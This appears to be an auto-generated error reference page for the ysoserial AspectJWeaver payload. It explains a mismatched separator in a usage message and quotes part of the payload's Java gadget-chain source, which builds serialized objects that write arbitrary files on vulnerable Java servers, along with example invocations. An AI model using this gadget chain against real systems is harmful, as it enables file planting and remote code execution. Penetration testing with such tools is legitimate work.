frohoff/ysoserial · error · IllegalArgumentException

Command format is

Error message

Command format is: <filename>:<base64 Object>

What it means

ysoserial's AspectJWeaver payload parses the command string in getObject() and requires a ';' separator separating a target filename from a Base64-encoded file content blob. When lastIndexOf(';') finds no separator, it throws IllegalArgumentException with the usage message. The message says ':', but the code actually splits on ';' — an easy trap for users.

Solutions

  1. Format the command as '<filename>;<base64-content>' using a semicolon separator
  2. Quote the whole argument when invoking from a shell so ';' is not interpreted by the shell
  3. Note the error message is misleading — separator is ';' not ':'

Example fix

// before
new AspectJWeaver().getObject("/tmp/evil.txt:aGVsbG8=");
// after
new AspectJWeaver().getObject("/tmp/evil.txt;aGVsbG8=");
Defensive patterns

Strategy: validation

Validate before calling

if (!command.contains(";")) throw new IllegalArgumentException("expected <filename>;<base64>");

Try / catch

try { payload = new AspectJWeaver().getObject(cmd); } catch (IllegalArgumentException e) { logUsageError(e); }

Prevention

When it happens

Trigger: Calling AspectJWeaver.getObject(command) (or running ysoserial with this payload type) with a command string containing no ';' character.

Common situations: Users pass '<file>:<base64>' (colon, per the message text) instead of '<file>;<base64>'; command-line shells mangle or strip ';'; users omit the Base64 content entirely when generating the payload.

Understand the failure class

Background: "Invalid ... format", "must be in format X", "does not look like a ..." — invalid argument format errors across CLI tools and libraries — this error's family across 17 libraries.

Related errors


AI-assisted analysis of frohoff/ysoserial@218bcffcaa (2026-09-12). Data as JSON: /api/errors/89cd63d9db1c4565. Report an issue: GitHub.

Appendix: source

Thrown at src/main/java/ysoserial/payloads/AspectJWeaver.java:51

Usage:
args = "<filename>;<base64 content>"
Example:
java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ=="

More information:
https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5
 */
@PayloadTest(skip="non RCE")
@SuppressWarnings({"rawtypes", "unchecked"})
@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"})
@Authors({ Authors.JANG })

public class AspectJWeaver implements ObjectPayload<Serializable> {

    public Serializable getObject(final String command) throws Exception {
        int sep = command.lastIndexOf(';');
        if ( sep < 0 ) {
            throw new IllegalArgumentException("Command format is: <filename>:<base64 Object>");
        }
        String[] parts = command.split(";");
        String filename = parts[0];
        byte[] content = Base64.decodeBase64(parts[1]);

        Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
        Object simpleCache = ctor.newInstance(".", 12);
        Transformer ct = new ConstantTransformer(content);
        Map lazyMap = LazyMap.decorate((Map)simpleCache, ct);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, filename);
        HashSet map = new HashSet(1);
        map.add("foo");
        Field f = null;
        try {
            f = HashSet.class.getDeclaredField("map");
        } catch (NoSuchFieldException e) {
            f = HashSet.class.getDeclaredField("backingMap");
        }

View on GitHub (pinned to 218bcffcaa)